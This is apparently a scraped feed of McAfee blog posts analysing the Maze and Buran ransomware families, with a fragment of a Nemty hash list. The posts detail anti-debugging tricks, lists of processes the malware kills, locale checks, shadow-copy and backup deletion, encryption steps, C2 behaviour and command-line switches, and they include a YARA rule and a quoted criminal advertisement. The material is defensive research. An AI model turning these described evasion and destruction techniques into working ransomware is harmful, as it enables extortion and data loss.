4b4feffb0783aca42f0e9c38961340a76b4a2b3fd324f71e764a88ab500f1372 2019:12:27 18:55:35+01:00
5a022aba75d4986adedb1a5fb62fce8946d43f06846f663a851ba93e9e317f8c 2019:12:27 18:55:35+01:00
3ae7d44569b2885de360c0e6c3448772f74c1c3ff4ee3f594053a95bfc73850f 2019:12:27 18:55:35+01:00
42e9356feb10e5814fb73c6c8d702f010d4bd742e25550ae91413fa2a7e7c888 2019:12:27 18:55:35+01:00
bf6b8563773f7a05de33edcb1333d9e39e5bc60c91d111d3fb4ec7f5cfbb6c43 2019:12:28 03:06:43+01:00
842b92ed20115ff28fd5b8b204e80e88168594aa5ce44c288a560ec6f907516a 2019:12:28 03:06:43+01:00
eedefda5ff588f0b194b97a0244d6d3e4892b9a5f1539b33aa0fa86a47be7ea1 2019:12:28 03:06:43+01:00
d398280940af9fcb5aad2f0eb38d7b00b9d241ad1c4abfe3ca726accded70e2a 2019:12:29 09:38:39+01:00
6e18acc14f36010c4c07f022e853d25692687186169e50929e402c2adf2cb897 2020:01:07 10:57:37+00:00
8e056ccffad1f5315a38abf14bcd3a7b662b440bda6a0291a648edcc1819eca6 2020:01:18 12:03:36+01:00

The post Nemty Ransomware – Learning by Doing appeared first on McAfee Blogs.

]]> 0
Ransomware Maze Thu, 26 Mar 2020 16:26:03 +0000 /blogs/?p=99278

EXECUTIVE SUMMARY The Maze ransomware, previously known in the community as “ChaCha ransomware”, was discovered on May the 29th 2019 by Jerome Segura[1]. The main goal of the ransomware is to crypt all files that it can in an infected system and then demand a ransom to recover the files. However, the most important characteristic […]

The post Ransomware Maze appeared first on McAfee Blogs.



The Maze ransomware, previously known in the community as “ChaCha ransomware”, was discovered on May the 29th 2019 by Jerome Segura[1].

The main goal of the ransomware is to crypt all files that it can in an infected system and then demand a ransom to recover the files. However, the most important characteristic of Maze is the threat that the malware authors give to the victims that, if they do not pay, they will release the information on the Internet[2].

This threat has not been an idle one as the files of one company were indeed released on the Internet. Even though the company sued, the damage was already done. This is a behavior increasingly observed in new ransomware[3], such as Sodinokibi, Nemty, Clop and others.

It was highlighted last year[4] how ransomware would head in this direction to obtain money from victims who may be reluctant to pay for decryption.




On the 29th of October a campaign distributing the Maze malware to Italian users was detected. Historically, the malware has used different techniques to gain entry, mainly using exploits kits, remote desktop connections with weak passwords or via email impersonation or, as in the Italian case, via different agencies or companies[5], i.e. the Italian Revenue Agency. These emails came with a Word attachment that was using macros to run the malware in the system.

The exploit kits used most often were Fallout and Spelevo[6].

The malware is hard programmed with some tricks to prevent reversing of it and to make static analysis more difficult. This report covers these protections and the behavior of the malware in an infected system.

The developers have inserted messages to provoke malware researchers, including the email address of Lawrence Abrams, owner of “BleepingComputer”, who they contacted directly. They are very active on social media sites such as Twitter.

McAfee protects its customers against the threats that we talk about in this report in all its products, including personal antivirus, endpoint and gateway.


The malware is a binary file of 32 bits, usually packed as an EXE or a DLL file. This report focuses on the EXE file.


More information about the sample used in this report appears in this table:


Maze is a complex piece of malware that uses some tricks to frustrate analysis right from the beginning.

The malware starts preparing some functions that appear to save memory addresses in global variables to use later in dynamic calls though it does not actually use these functions later. Whether it is residual code existing in the entry point of the malware or a trick to mislead researchers is up for debate.


Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later. The malware uses some tricks to detect debuggers at this point.

The most important of those are:

  • A big use of the PEB field “IsDebuggerPresent”. This field is a Boolean field that is filled from Windows with 1 (True) if the application is running inside of a debugger or 0 (False) if it is not.


If the malware detects a debugger it will remain in an infinite loop without making anything while wasting system resources.


The malware gets all processes in the system but ignores the first one (the ‘idle process’ in Windows which is simply a tool to let the user know what percentage of system resources are being used). Using the name of each process it makes a custom name with a custom algorithm, along with a hash that is checked against a hardcoded list. If the hash is found in this list the process will be terminated.


For example, the process of the debugger “x32dbg”, is caught at this point:


It can terminate IDA debugger, x32dbg, OllyDbg and more processes to avoid dynamic analysis, close databases, office programs and security tools.

A partial list of the processes that can be cracked using a dictionary list terminated by the malware is shown below:

dumpcap.exe -> 0x5fb805c5
excel.exe -> 0x48780528
fiddler.exe -> 0x5e0c05b1
msaccess.exe -> 0x6a9c05ff
mysqld-nt.exe -> 0x79ec0661
outlook.exe -> 0x615605dc
pipanel.exe -> 0x5fb805c4
procexp64.exe -> 0x78020640
procexp.exe -> 0x606805d4
procmon64.exe -> 0x776e0635
procmon.exe -> 0x600005c9
python.exe -> 0x55ee0597
taskkill.exe -> 0x6c2e0614
visio.exe -> 0x49780539
winword.exe -> 0x60d805d5
x32dbg.exe -> 0x5062053b
x64dbg.exe -> 0x50dc0542

This short list shows the name of the process to kill and the custom hash from the special name generated from the original process name.


The malware will kill the process with the function “TerminateProcess” that it gets from the EAT (Export Address Table) of the module “kernel32.dll” to increase obfuscation, comparing the name with a custom hash taken from the name in high caps.


The malware calls Windows functions in a unique way to aid obfuscation, i.e. getting the first process in the system to use the function “Process32FirstW”. However, instead of calling it directly, it puts the parameters needed for the function on the stack, followed by a memory address with a “push” opcode and then makes a direct jump to the Windows function. When the function ends, Windows makes a “ret” opcode then gets the last memory address that the malware pushed inside the stack, returning to this address and continuing the flow. An example of this can be seen in this image:


Another ploy utilized by the malware (depending of the sample) is to get the function “DbgUIRemoteBreakin”, using the function “GetProcAddress”, before employing a trick to avoid having a debugger attach to it in runtime[7].


The trick used here is “VirtualProtect” to give the function memory address of “DbgUIRemoteBreakin” permission to write to it:


After gaining permission, which is granted only for 1 byte, the malware patches this byte with a 0xC3 value (the opcode of “ret”) and restores the previous permissions with “VirtualProtect”, again in the same address and byte, removing the write permission.


This is done to avoid having a debugger attach to it in runtime. This way, when a debugger attaches to the process internally, the system calls this function but, instead of creating a thread to start the debugging, the “ret” opcode forces the function to return without creating it. In brief, it prevents a debugger from being attached correctly. It is done before enumerating the system process.

The malware checks the language of the machine with function “GetUserDefaultUILanguage” and saves the value in the stack; it is not checked automatically after the call, but it is important later.

Maze creates a mutex with the name “Global\x” where x is a special value that is unique per machine. For example, in the next screenshot (some information has been deleted to anonymize the machine used for the analysis) is an example of this behavior. It is done to avoid two or more executions at the same time.


The malware, after creating the mutex, makes calls to the function “GetLastError” to check against two errors:

  • 0x05 -> ERROR_ACCESS_DENIED. If the malware gets this error, it means that the mutex already exists in the system but, for some reason, the malware cannot access it (perhaps privileges, policies, etcetera).
  • 0xb7 -> ERROR_ALREADY_EXISTS. If the malware gets this error, it means that the mutex already exists in the system and can be accessed.

If either of the above occur, the malware remains in execution but does not crypt any files in the system or use any resources of the machine. It means that it will appear in the program list using 0% of the processor.

The mutex value changes either per sample or on a periodic basis to avoid the possibility of vaccines being made against it. The malware also has a command to avoid the ‘problem’ of vaccines which will be explained later.

After the mutex, the malware checks the language previously saved in the stack against, for example, language 0x419 (Russian from the Russian Federation, ru-RU[8]).

The checks are done in an obfuscated way within the jumble of the code that the malware has (in the virtual machine used here the Spanish language of Spain (es-ES) was used; it is the code 0xC0A that appears in the stack in the screenshot):


If the language matches any of those in the list below, the malware will clean the memory and exit the main thread without wasting any resources or making any files.

  • 0x419 -> ru-RU (Russian from Russian Federation)
  • 0x422 -> uk-UA (Ukranian from Ukraine)
  • 0x423 -> be-BY (Belarusian from Belarus)
  • 0x428 -> tg-Cyrl-TJ (Tajik (Cyrilic from Tajikistan)
  • 0x42B -> hy-AM (Armenian from Armenia)
  • 0x42C -> az-Latn-AZ (Azerbaijani (Latin from Azerbaijan))
  • 0x437 -> ka-GE (Georgian from Georgia)
  • 0x43F -> kk-KZ (Kazakh from Kazakhastan)
  • 0x440 -> ky-KG (Kyrgyz from Kyrgyzstan)
  • 0x442 -> tk-TM (Turkmen from Turkmenistan)
  • 0x443 -> uz-Latn-UZ (Uzbek (Latin from Uzbekistan))
  • 0x444 -> tt-RU (Tatar from Russia Federation)
  • 0x818 -> ro-MD (Romanian from Moldova, NOT Romanian from Romania!)
  • 0x819 -> ru-MD (Russian from Moldova)
  • 0x82C -> az-Cyrl-AZ (Azerbaijani (Cyrilic from Azerbaijan))
  • 0x843 -> uz-Cyrl-UZ (Uzbek (Cyrilic from Uzbekistan))
  • 0x7C1A -> sr (Serbian)
  • 0x6C1A -> sr-Cyrl (Serbian in Cyrilic)
  • 0x1C1A -> sr-Cyrl-BA (Serbian (Cyrilic from Bosnia and Herzegovina))
  • 0x281A -> sr-Cyrl-RS (Serbian (Cyrilic from Serbia))
  • 0x81A -> sr-Latn-CS (Serbian (Latin)) (this language code starts from Windows Vista)

The malware tries to delete the shadow volumes in the system using the “wmic.exe” program with the switches “shadowcopy” and “delete”. Prior to this, the malware gets the function of “WoW64DisableWow64FsRedirection” with “GetProcAddress” and uses it to avoid redirection by default in 64-bit operating systems and calls it in a dynamic way.

The malware tries to delete the shadow copies two times, once before crypting the files in the infected system and secondly after crypting them.

This execution is done with the function “CreateProcessW” but, to increase the level of obfuscation, the malware is launched with this command:


As you can see in the image above, the malware uses a command with the name of folders that do not exist by default in Windows, except “Windows”, “system32” and “wbem”. It enters these folders but then promptly exits them using the command “..”, meaning it returns to the previous folder in the path.

For example, in the beginning it enters the folders “ydw” and “fdygg” but later returns to the root of the Windows installation unit with two “..” commands that lead to “C:\” in this case. It later concatenates with the “Windows” folder and continues with the same behavior to finally enter into “system32” where it calls the “wmic.exe” program with the switches to delete the shadow volumes. This is done to try obfuscating this call, though such suspicious behavior may cause an antivirus program to stop it anyway, but it is proof that the malware coders have skills in programming and a good understanding of Windows behavior.

It is important to understand that this “path” used in the command with non-existent folders is random and does not need to use the same number of folders to make the obfuscation.

After the deletion process, the malware gets the function “Wow64RevertWow64FsRedirection” using the function “GetProcAddress” and calls it in a dynamic way to leave the system in the same state as before.


Maze affects network resources too, using the functions “WNetOpenEnumW”, “WNetEnumResourceW”, “WNetCloseEnum” and “WNetAddConnection2W”.


The malware uses two algorithms to crypt the files, ChaCha which is based on the Salsa20 algorithm that is symmetric and, for protection, an RSA algorithm that is asymmetric

In each execution the malware creates a Public BLOB of one RSA key that will be used to crypt the part that holds the information to decrypt the files, and one Private BLOB with an RSA key that allows decryption of the information crypted with the public RSA blob created previously.



Just like other ransomware, this malware has an RSA Public BLOB embedded that will be imported to protect the RSA private BLOB of the victim. Only the malware developers have the RSA private blob to decrypt their public RSA Blob.


This key is protected with a crypto using a key of 32 bits and iv of 8 bytes using the function “CryptGenRandom” to avoid memory dumps but, later, it will need to be decrypted before use.

After this, the malware starts the procedure of crypting the files, searching in units, before importing the RSA public BLOB key generated in runtime. After this, it creates the ransom note prepared for this infected machine in the root folder and then starts looking for folders and files to crypt.


An example ransom note, with some data anonymized, is shown below:


The procedure to crypt the files is easy, with the malware taking the following steps:

  • Check the existence of the file with the function “SetFileAttributesW” with the attribute “FILE_ATTRIBUTE_ARCHIVE”.
  • Reserve memory to the file with a call to “Virtual Alloc” for the key and iv.
  • Open the file with read and write permissions with the function “CreateFileW” with the flag “OPEN_EXISTING”.
  • Get the file size with the function “GetFileSizeEx” (it is important for managing big files, “GetFileSize” is not good for bigger files).
  • Create a file mapping with the functions “CreateFileMappingW” and “MapViewOfFile”
  • Generate a random key of 32 bytes with the function “CryptGenRandom”.
  • Generate a random iv of 8 bytes with the function “CryptGenRandom”.
  • Reserve 264 bytes of memory with the function “VirtualAlloc”.
  • Generate a new random extension for the victim file. Each file has a different extension but does not lose the original extension; the new one is appended to the old one. For example, “” becomes “”.
  • Crypt the file with the ChaCha algorithm and the key and iv with the RSA public key generated in runtime.
  • Write this new block with the key and iv to decrypt at the end of the file.
  • Rename the file with the function “MoveFileExW”. That way it is not possible to use forensic tools to recover the files because they use the same sector on the raw disk. The malware does not delete the file using the function “DeleteFileW” and later create a new one with the crypted data. Instead, all changes are applied in the mapping directly, in memory, without using a file pointer on the disk to read and write, which makes the process much quicker.
  • The image of the file is unmapped, and handles closed.
  • The process is repeated with new files.

The list of folders that the malware avoids are:

  • Windows main directory.
  • Games
  • Tor Browser
  • ProgramData
  • cache2\entries
  • Low\Content.IE5
  • User Data\Default\Cache
  • All Users
  • Local Settings
  • AppData\Local
  • Program Files

The malware ignores these file extensions:

  • LNK
  • EXE
  • SYS
  • DLL

The malware also has a list of filenames that will not be crypted:

  • inf
  • ini
  • ini
  • dat
  • db
  • bak
  • dat.log
  • db
  • bin

However, it does crypt the file “ntuser.ini” to prevent other ransomwares from crypting it. It creates the ransom note in each folder that it can.

When the malware finishes crypting all files it changes the desktop wallpaper to this image:


The malware tries to make connections to IP addresses that have been crypted in the binary to send information about the infected machine, as seen below:
























It is important to take into consideration that the malware forges the POST string to make the connection with a random choice from a list of possible strings such as “forum”, “php”, “view”, etc., to make detection harder with IPS or other filters on the network.

The IP addresses are detected as from the Russian Federation but that does not prove that the malware came from this country; it could be deliberate misdirection but, with the language checks of CIS countries, it certainly appears possible.

The use of IP addresses instead of domain names is to avoid DNS resolutions that can be altered or redirected to a loopback, for example using the “host” file in Windows. This makes the trace of IPs more complicated and avoids having the connection blocked.

The malware uses this agent to make the connection, but it can change between samples:


From a memory dump we can extract the IPs used by these connections, as well as a curious string that talks about Lawrence Abrams, the admin of the web site “bleepingcomputer” who was contacted directly by the developers. It is not known why they included this email address because it has no relation to the ransom note and is not used anywhere else. Perhaps it is a means of mocking the administrator of a site that frequently reports on ransomware?


The connections to the C2C IP addresses, in a pcap using Wireshark, can be seen perfectly:


Maze has some strings in memory that are interesting and something that may be worth further analysis in the future:


The webpage for making the payment requested in the ransom note gives a price and verifies that all is correct.


Maze has a chat function to contact the operators and receive information about how to obtain the cryptocurrency required to make payment.

Of course, as with many types of ransomware, there is an offer to decrypt three images for free and that service has been verified as working:



The malware has some switches that can be used in the command line to launch. These switches can either disable some elements or enable logging.

The switches are:

  • –nomutex -> This switch prevents checking the mutex so that it can run more than one instance on the same machine. It can also be used to avoid vaccines that are made before the malware creates the mutex name in the machine.
  • –noshares -> With this switch the malware will not crypt network shares, only the local machine.
  • –path x -> Where x is a full path. In this case the malware will crypt all files in all folders starting from this path unless they are blacklisted names, extensions or folder names. This is useful for the malware developers to attack a special path instead of losing time going after a full machine and it makes the attack more targeted.
  • –logging -> If this switch is enabled the malware will log all the steps it makes. Useful to the malware developers in debug environments, or in the attack phase to know that all was ok, step by step. Here is a small example of this information:



In January 2020 a new version of the malware appeared with a special text dedicated to some researchers in the security field. The malware developers appear to have chosen those individuals to be provocative and make fun of them.

The sample was discovered by malwrhunterteam[9] on the 28th of January 2020. The sample has some differences when compared with the previous one that was analyzed in this report. Those differences will be covered later via another sample that was found by Luca Nagy[10] on the 30th of January 2020.

The most important thing here is that the developers appear to have carefully selected the researchers and waited for them to answer as a psychological trick, and it worked, because all of them replied, trolling the malware developers over the version of their malware detected on the 28th.

Here is one response from a malware developer to this trolling that contains some interesting facts:


  • It is not known if one person is behind the malware or not. It is curious that they said “I” instead of “we” twice in their answer. So, perhaps it was written by one person for trolling purposes, or perhaps the developer of the malware really is only one person (or they want researchers to think that is the case).
  • Another important fact in the note is the talk about the tools used by one of the researchers for regular malware analysis. Why are they mentioning regular malware analysis? Is it because they are reversing malware themselves for fun or could it be their day job? Could it be that perhaps the developer is a researcher (because of the way that they talk with others and provoke them)? Secondly, malware analysis is mentioned more than once and, thirdly, they said that they made an IDAPython script to remove all obfuscated code that the malware has (the ransomware may have got the name ‘Maze’ because of how analysis of it is like walking through a labyrinth). So, it may be either a researcher who knows IDAPro very well or is an advanced developer (and the obfuscated code in Maze is very well done) or perhaps it is a developer that has another job in normal life besides the creation of malware? Of course, these are just possibilities, not facts.
  • The malware developer achieved their goal with this interaction as their target audience saw the answer and talked about their malware, as noted in the final line of their response “ …but you need to know that we love you researchers without you our job also would be fuc**** boring as hell”.

It is curious that here they said “we” instead of “I” as before but perhaps they were talking about all malware development?

The differences that these samples have are:

  • Usually comes as a DLL instead of an EXE file. It does not run on Windows operating systems older than Vista as this makes analysis harder. By using the malware as a DLL, they can inject this module into a target process more easily than if they use an EXE sample of the malware.
  • Instead of deleting the “Shadow Volumes” the developers instead use WMIC with the special trick of the path as mentioned earlier, using WMIC classes to control the Shadow Volumes. An example of this use can be seen in the next image.


Each sample of the malware uses different strings as PDB to send messages or to make the sample unique, for example:

  • C:\somerandomsh**\sh**\obama.pdb
  • C:\kill\yourself\<nickname>\chinese\idio*.pdb

(In these examples some things were removed or changed to remove sensitive information in the report).

The new samples discovered in January 2020 make these connections to the C2 (or try to make them):


As we can see, they are the same IPs as seen in the previous versions of the malware.

The samples’ compile dates are from the 24th of January 2020 (the first version with the strings that provoked the researchers) to the 28th of January 2020 (the version with the answers to the researchers), meaning they were made on the same day the responses to the previous version were published on Twitter.

Another interesting fact from the later sample is that, besides it saying that the language code used to program it was Korean, the IPs where it connects belong to the Russian Federation as before, as can be seen in the next two images.



It is impossible to know the truth, but this could be a trick to try misleading researchers into thinking that the malware comes from some country when in truth it originates in another. It is known that malware developers often check the language on potential victim’s machines to avoid the CIS countries, so we can guess that the check for the “Korean” language was a trick designed to mislead, but it is impossible to know that for sure. Of course, the “Korean” language can be changed manually, or it could be a Korean packer, but it is impossible to say with certainty.


Maze is a ransomware created by skilled developers. It uses a lot of tricks to make analysis very complex by disabling disassemblers and using pseudocode plugins.

It poses a big problem to individuals and enterprises that do not pay as the developers threaten to release the information if they do not receive payment and they do indeed keep their word on that. More and more ransomwares are exhibiting the same behavior and we expect to see more of it this year and perhaps further into the future too.

The malware developers are active on social media sites, such as Twitter, and they are familiar with the work of malware researchers. They also know how to provoke them perfectly and they like to play cat and the mouse with them.

We recommend making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place. The latest software patch should also be applied. Remote Desktop Connections that are not needed should be avoided.

Avoid suspicious emails and do not open attachments that come from anyone that you do not know. The same goes for links in emails and, even if they come from a known source, check with the sender if you have any doubts. Also, disable macros in Office programs and never enable them unless it is essential to do so.


McAfee protects against this threat in all its products, including personal antivirus, endpoint and gateway.

The names that it can have are:

  • Ransom-Maze!<hash>


rule maze_unpacked {


      description = “Rule to detect unpacked Maze samples”

      author = “Marc Rivero | McAfee ATR Team”



      $opcode_sequence = { 5589e583ec208b450c8b4d08c745fc00 }


                  $opcode_sequence_2 = { 5589e553575683e4f883ec28c7042400 }


                  $opcode_sequence_3 = { 5589e55dc3662e0f1f84000000000090 }


                  $opcode_sequence_4 = { 5589e553575683e4f081ec600200008b }


                  $opcode_sequence_5 = { 5589e553575683e4f081ecc00000000f }


                  $opcode_sequence_6 = { 5589e583ec208b45108b4d0c8b550883 }


                  $opcode_sequence_7 = { 5589e5575683ec388b45108b4d0c8b55 }


                  $opcode_sequence_8 = { 5589e5575683e4f883ec088b45088b48 }


                  $opcode_sequence_9 = { 558b6c241468997a41000f84bdc50000 }


                  $opcode_sequence_10 = { 5589e553575683e4f883ec588b5d088b }


                  $opcode_sequence_11 = { 5589e553575683e4f083ec408a42048b }


                  $opcode_sequence_12 = { 5589e583ec188b4508837d08008945fc }


                  $opcode_sequence_13 = { 5589e553575683e4f8b8d05b0000687f }


                  $opcode_sequence_14 = { 5589e5508b450831c98945fc89c883c4 }


                  $opcode_sequence_15 = { 5589e553575683e4f883ec708b5d0889 }


                  $opcode_sequence_16 = { 5589e583ec308b45088b4d08894df883 }


                  $opcode_sequence_17 = { 5589e553575683e4f881ec18030000f2 }


                  $opcode_sequence_18 = { 5589e583ec188b45088b4d08894df48b }


                  $opcode_sequence_19 = { 5589e583ec2056be74c14400566a0068 }


                  $opcode_sequence_20 = { 5589e553575683e4f081ec900000008b }


                  $opcode_sequence_21 = { 5589e583e4f083ec208b4d108b450c0f }


                  $opcode_sequence_22 = { 5589e55383e4f883ec108b4d0c8b4508 }


                  $opcode_sequence_23 = { 558b8e150409133f03fd08f81b0c4f22 }


                  $opcode_sequence_24 = { 5589e553575683e4f883ec7031f68379 }


                  $opcode_sequence_25 = { 5589e553575683e4f881ec3001000089 }


                  $opcode_sequence_26 = { 5589e553575683e4f881ece00000000f }


                  $opcode_sequence_27 = { 558b589608361d1943a57d0ba6492beb }


                  $opcode_sequence_28 = { 5589e553575683e4f883ec1089ce6a00 }


                  $opcode_sequence_29 = { 5589e5575683e4f883ec688b75088b7d }


                  $opcode_sequence_30 = { 5589e553575683e4f883ec386a006a00 }


                  $opcode_sequence_31 = { 558b7c240868dca8440057683d484300 }


                  $opcode_sequence_32 = { 5589e55683e4f881ec2801000089ce8d }


                  $opcode_sequence_33 = { 5589e583ec188b450831c98b5508c704 }


                  $opcode_sequence_34 = { 5589e583ec308b450c8b4d088b55088b }


                  $opcode_sequence_35 = { 5589e583ec348b450831c983c1188b55 }


                  $opcode_sequence_36 = { 5589e553575683e4f881ec78040000f2 }


                  $opcode_sequence_37 = { 5589e583ec108b4508837d08008945f8 }


                  $opcode_sequence_38 = { 5589e583ec348b4508837d08008945dc }


                  $opcode_sequence_39 = { 5589e55683ec548b45088b4d08894df0 }


                  $opcode_sequence_40 = { 558bec5de9a48efeffe9ef8efeffcccc }


                  $opcode_sequence_41 = { 5589e553575683ec108b45108b4d0c8b }


                  $opcode_sequence_42 = { 5589e5575683ec348b4508c745f40100 }


                  $opcode_sequence_43 = { 558bec8325a0c345000083ec1c5333db }


                  $opcode_sequence_44 = { 5589e553575683e4f083ec208b750c0f }


                  $opcode_sequence_45 = { 5589e583ec348b450c8b4d088b55088b }


                  $opcode_sequence_46 = { 558b6fd8d843ef516154e2526781aecd }




      ( uint16(0) == 0x5a4d) and 38 of them
















  • CommonlyUsedPort
  • StandardApplicationLayerProtocol
  • SecuritySoftwareDiscovery
  • SystemTimeDiscovery
  • CommandLineInterface
  • DataEncrypted
  • DataEncryptedForImpact
  • Query registry
  • Hooking











The post Ransomware Maze appeared first on McAfee Blogs.

]]> 0
Buran Ransomware; the Evolution of VegaLocker Tue, 05 Nov 2019 17:37:32 +0000

McAfee’s Advanced Threat Research Team observed how a new ransomware family named ‘Buran’ appeared in May 2019. Buran works as a RaaS model like other ransomware families such as REVil, GandCrab (now defunct), Phobos, etc. The author(s) take 25% of the income earned by affiliates, instead of the 30% – 40%, numbers from notorious malware […]

The post Buran Ransomware; the Evolution of VegaLocker appeared first on McAfee Blogs.


McAfee’s Advanced Threat Research Team observed how a new ransomware family named ‘Buran’ appeared in May 2019. Buran works as a RaaS model like other ransomware families such as REVil, GandCrab (now defunct), Phobos, etc. The author(s) take 25% of the income earned by affiliates, instead of the 30% – 40%, numbers from notorious malware families like GandCrab, and they are willing to negotiate that rate with anyone who can guarantee an impressive level of infection with Buran. They announced in their ads that all the affiliates will have a personal arrangement with them.

For this analysis we present, we will focus on one of the Buran hashes:

We will highlight the most important observations when researching the malware and will share protection rules for the endpoint, IOCs and a YARA rule to detect this malware.

Buran Ransomware Advertisement

This ransomware was announced in a well-known Russian forum with the following message:


Buran is a stable offline cryptoclocker, with flexible functionality and support 24/7.


Reliable cryptographic algorithm using global and session keys + random file keys;
Scan all local drives and all available network paths;
High speed: a separate stream works for each disk and network path;
Skipping Windows system directories and browser directories;
Decryptor generation based on an encrypted file;
Correct work on all OSs from Windows XP, Server 2003 to the latest;
The locker has no dependencies, does not use third-party libraries, only mathematics and vinapi;

The completion of some processes to free open files (optional, negotiated);
The ability to encrypt files without changing extensions (optional);
Removing recovery points + cleaning logs on a dedicated server (optional);
Standard options: tapping, startup, self-deletion (optional);
Installed protection against launch in the CIS segment.


They are negotiated individually for each advert depending on volumes and material.

Start earning with us!


The announcement says that Buran is compatible with all versions of the Windows OS’s (but during our analysis we found how, in old systems like Windows XP, the analyzed version did not work) and Windows Server and, also, that they will not infect any region inside the CIS segment. Note: The CIS segment belongs to ten former Soviet Republics: Armenia, Belarus, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan, Ukraine, and Uzbekistan.

Rig Exploit Kit as an Entry Vector

Based upon the investigation we performed, as well as research by “nao_sec” highlighted in June 2019, we discovered how Buran ransomware was delivered through the Rig Exploit Kit. It is important to note how the Rig Exploit Kit is the preferred EK used to deliver the latest ransomware campaigns.


The Rig Exploit Kit was using CVE-2018-8174 (Microsoft Internet Explorer VBScript Engine, Arbitrary Code Execution) to exploit in the client-side. After successful exploitation this vulnerability will deliver Buran ransomware in the system.

Static Analysis

The main packer and the malware were written in Delphi to make analysis of the sample more complicated. The malware sample is a 32-bit binary.


In our analysis we detected two different versions of Buran, the second with improvements compared to the first one released.


The goal of the packer is to decrypt the malware making a RunPE technique to run it from memory. To obtain a cleaner version of the sample we proceed to dump the malware from the memory, obtaining an unpacked version.

Country Protection

Checking locales has become quite popular in RaaS ransomware as authors want to ensure they do not encrypt data in certain countries. Normally we would expect to see more former CIS countries but, in this case, only three are verified.


This function gets the system country and compares it with 3 possible results:

  • 0x177 -> BELARUS
  • 0x17C -> UKRAINE

It is important to note here that the advertising of the malware in the forums said it does not affect CIS countries but, with there being 10 nations in the region, that is obviously not entirely accurate.

If the system is determined to be in the Russian Federation, Belarus or Ukraine the malware will finish with an “ExitProcess”.

The next action is to calculate a hash based on its own path and name in the machine. With the hash value of 32-bits it will make a concat with the extension “.buran”. Immediately after, it will create this file in the temp folder of the victim machine. Importantly, if the malware cannot create or write the file in the TEMP folder it will finish the execution; the check will be done extracting the date of the file.


If the file exists after the check performed by the malware, the temporary file will be erased through the API “DeleteFileW”.


This function can be used as a kill switch to avoid infection by Buran.

Buran ransomware could accept special arguments in execution. If it is executed without any special argument, it will create a copy of Buran with the name “ctfmon.exe” in the Microsoft APPDATA folder and will launch it using ShellExecute, with the verb as “runas”. This verb is not in the official Microsoft SDK but, if we follow the MSDN documentation to learn how it works, we can deduce that the program will ignore its own manifest and prompt the UAC to the user if the protection is enabled.

This behavior could change depending on the compilation options chosen by the authors and delivered to the affiliates.

According to the documentation, the function “CreateProcess” checks the manifest, however in Buran, this is avoided due to that function:


Buran in execution will create a registry key in the Run subkey section pointing to the new instance of the ransomware with a suffix of ‘*’. The meaning of this value is that Buran will run in safe mode too:


The writing operation in the registry is done using the “reg” utility, using a one-liner and concatenating different options with the “&” symbol. This method through “reg.exe” avoids a breakpoint in the main binary.


Buran implements this technique with the objective of making analysis of the sample complicated for malware analysts looking at reverse engineering profiles. After these operations, the old instance of the ransomware will die using “Exit Process”.

Analysis of the Delphi code show that the 2nd version of Buran will identify the victim using random values.


After that it will decrypt a registry subkey called “Software\Buran\Knock” in the HKEY_CURRENT_USER hive. For the mentioned key it will check the actual data of it and, if the key does not exist, it will add the value 0x29A (666) to it. Interestingly, we discovered that GandCrab used the same value to generate the ransom id of the victim. If the value and subkey exists the malware will continue in the normal flow; if not, it will decrypt a URL ,“”, and make a connection to this domain using a special user agent:


As mentioned, the referrer will be the victim identifier infected with Buran.

The result of this operation is the writing of the subkey previously checked with the value 0x29A, to avoid repeating the same operation.

After this action the malware will enumerate all network shares with the functions :

  • WNetOpenEnumA,
  • WNetEnumResourceA
  • WNetCloseEnum

This call is made in a recursive way, to get and save all discovered shared networks in a list. This process is necessary if Buran wants to encrypt all the network shares as an addition to the logical drives. Buran will avoid enumerating optical drives and other non-mounted volumes. The result of those operations will be saved for Buran to use later in the encryption process.

The ransom note is crypted inside the binary and will be dumped in execution to the victim’s machine. Inside this ransom note, the user will find their victim identifier extracted with the random Delphi function mentioned earlier. This identification is necessary to track their infected users to affiliates to deliver the decryptor after the payment is made.

In the analysis of Buran, we found how this ransomware blacklists certain files and folders. This is usually a mechanism to ensure that the ransomware does not break its functionality or performance.

Blacklisted folders in Buran:

Blacklisted files in Buran:

The encryption process will start with special folders in the system like the Desktop folder. Buran can use threads to encrypt files and during the process will encrypt the drive letters and folders grabbed before in the recognition process.

The ransom note will be written to disk with the name “!!! YOUR FILES ARE ENCRYPTED !!!” with the following content:


Each file crypted is renamed to the same name as before but with the new extension of the random values too.

For example: “rsa.bin.4C516831-800A-6ED2-260F-2EAEDC4A8C45”.

All the files encrypted by Buran will contain a specific filemarker:


In terms of encryption performance, we found Buran slower compared to other RaaS families. According to the authors’ advertisement in the underground forums, they are continually improving their piece of ransomware.

Buran Version 1 vs Buran Version 2

In our research we identified two different versions of Buran. The main differences between them are:

Shadow copies delete process:

In the 2nd version of Buran one of the main things added is the deletion of the shadow copies using WMI.

Backup catalog deletion:

Another feature added in the new version is the backup catalog deletion. It is possible to use the Catalog Recovery Wizard to recover a local backup catalog.

System state backup deletion:

In the same line of system destruction, we observed how Buran deletes in execution the system state backup in the system:

Ping used as a sleep method:

As a poor anti-evasion technique, Buran will use ping through a ‘for loop’ in order to ensure the file deletion system.

The ransom note changed between versions:

VegaLocker, Jumper and Now Buran Ransomware

Despite the file marker used, based on the behavior, TTPs and artifacts in the system we could identify that Buran is an evolution of the Jumper ransomware. VegaLocker is the origin for this malware family.

Malware authors evolve their malware code to improve it and make it more professional. Trying to be stealthy to confuse security researchers and AV companies could be one reason for changing its name between revisions.

This is the timeline of this malware family:

Similarities in Behavior:

Files stored in the temp folder:




Registry changes:



Extension overlapping:

In one of the variants (Jumper) it is possible to spot some samples using both extensions:

  • .vega
  • .jamper

Shadow copies, backup catalog and systembackup:

In the analyzed samples we saw how VegaLocker used the same methods to delete the shadow copies, backup catalog and the systembackup.


  • RDN/Ransom
  • Ransomware-GOS!E60E767E33AC
  • Ransom
  • RDN/Ransom
  • RDN/
  • Ransom-Buran!

Expert Rule:

Indicators of Compromise


The sample uses the following MITRE ATT&CK™ techniques:

  • Disabling Security Tools
  • Email Collection
  • File and Directory Discovery
  • File Deletion
  • Hooking
  • Kernel Modules and Extensions
  • Masquerading
  • Modify Registry
  • Network Service Scanning
  • Peripheral Device Discovery
  • Process Injection
  • Query Registry
  • Registry Run Keys / Start Folder
  • Remote Desktop Protocol
  • Remote System Discovery
  • Service Execution
  • System Time Discovery
  • Windows Management Instrumentation


